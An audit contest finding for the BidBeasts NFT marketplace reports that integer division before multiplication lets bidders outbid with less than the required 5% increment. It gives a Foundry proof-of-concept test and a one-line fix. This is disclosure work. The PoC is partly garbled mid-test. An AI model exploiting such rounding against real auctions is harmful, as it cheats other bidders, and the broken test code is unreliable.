Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Incorrect percentage calculation allows bids smaller than the intended minimum increment

Description

  • The marketplace computes the minimum next bid using integer division then multiplication:


requiredAmount = (previousBidAmount / 100) \* (100 + S\_MIN\_BID\_INCREMENT\_PERCENTAGE);

Because Solidity integer division truncates toward zero, this ordering can understate the true required increment. Concretely, when previousBidAmount is not divisible by 100, the contract computes a lower requiredAmount than the mathematically correct (previousBidAmount * (100 + inc)) / 100. An attacker can exploit this to outbid using a smaller amount than intended by the auction rules.

*Root: ordering of arithmetic operations causes rounding down too early (/100 before * (100 + inc)), losing precision.

Effect: incorrect requiredAmount value that may be lower than the expected increment.

// Vulnerable expression (reads poorly when previousBidAmount % 100 != 0)
requiredAmount = (previousBidAmount / 100) * (100 + S_MIN_BID_INCREMENT_PERCENTAGE);
```

Impact

Economic loss: attacker can win auctions (or keep overbidding cheaply) by offering slightly lower increments repeatedly.

Market integrity: breaks expectations for minimum increment policy; off-chain systems that assume strict increments may misbehave.

Likelihood

  • Very likely in normal operation — first bids and many bids are not multiples of 100 wei or 100 gwei etc., so rounding cases occur frequently.

  • Low skill required for exploitation — attacker only needs to bid the smaller computed amount.


Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "forge-std/Test.sol";
import "../src/BidBeastsNFTMarketPlace.sol";
import "../src/BidBeasts_NFT_ERC721.sol";
/*
PoC: Shows that buggy formula accepts a bid lower than the mathematically correct increment.
Notes:
- Marketplace enforces S_MIN_NFT_PRICE = 0.01 ether, so use MIN_PRICE >= that.
- We pick firstBid = MIN_PRICE + 1 wei to keep numbers small but > min.
- increment = S_MIN_BID_INCREMENT_PERCENTAGE = 5%
*/
contract BidIncrementPoC is Test {
BidBeastsNFTMarket market;
BidBeasts nft;
address OWNER = address(0x100);
address SELLER = address(0x200);
address FIRST_BIDDER = address(0x300);
address ATTACKER = address(0x400);
uint256 TOKEN_ID = 0;
// must be >= contract's S_MIN_NFT_PRICE (0.01 ether)
uint256 MIN_PRICE = 0.01 ether;
function setUp() public {
vm.prank(OWNER);
nft = new BidBeasts();
market = new BidBeastsNFTMarket(address(nft));
vm.prank(OWNER);
nft.mint(SELLER);
vm.deal(FIRST_BIDDER, 1 ether);
vm.deal(ATTACKER, 1 ether);
vm.startPrank(SELLER);
nft.approve(address(market), TOKEN_ID);
market.listNFT(TOKEN_ID, MIN_PRICE, 0);
vm.stopPrank();
}
function test_poc_accepts_less_than_expected_if_bug_exists() public {
// first bid = MIN_PRICE + 1 wei (must be > min)
uint256 firstBid = MIN_PRICE + 1;
vm.prank(FIRST_BIDDER);
market.placeBid{value: firstBid}(TOKEN_ID);
// read increment pct from contract
uint256 inc = market.S_MIN_BID_INCREMENT_PERCENTAGE(); // expected 5
// buggy allowed: (firstBid / 100) * (100 + inc)
uint256 buggyAllowed = (firstBid / 100) * (100 + inc);
// correct required: (firstBid * (100 + inc)) / 100
uint256 correctRequired = (firstBid * (100 + inc)) / 100;
// sanity: ensure discrepancy exists for our numbers
require(buggyAllowed bug present
BidBeastsNFTMarket.Bid memory highest = market.getHighestBid(TOKEN_ID);
assertEq(highest.amount, buggyAllowed, "Contract did NOT accept the lower-than-correct bid (no bug)");
}
}

Save as test/BidIncrementPoC.t.sol and run forge test --match-contract BidIncrementPoC -vvv.

Recommended Mitigation

- requiredAmount = (previousBidAmount / 100) * (100 + S_MIN_BID_INCREMENT_PERCENTAGE);
+requiredAmount = (previousBidAmount * (100 + S_MIN_BID_INCREMENT_PERCENTAGE)) / 100;
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeasts Marketplace: Integer Division Precision Loss

Integer division in requiredAmount truncates fractions, allowing bids slightly lower than intended.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!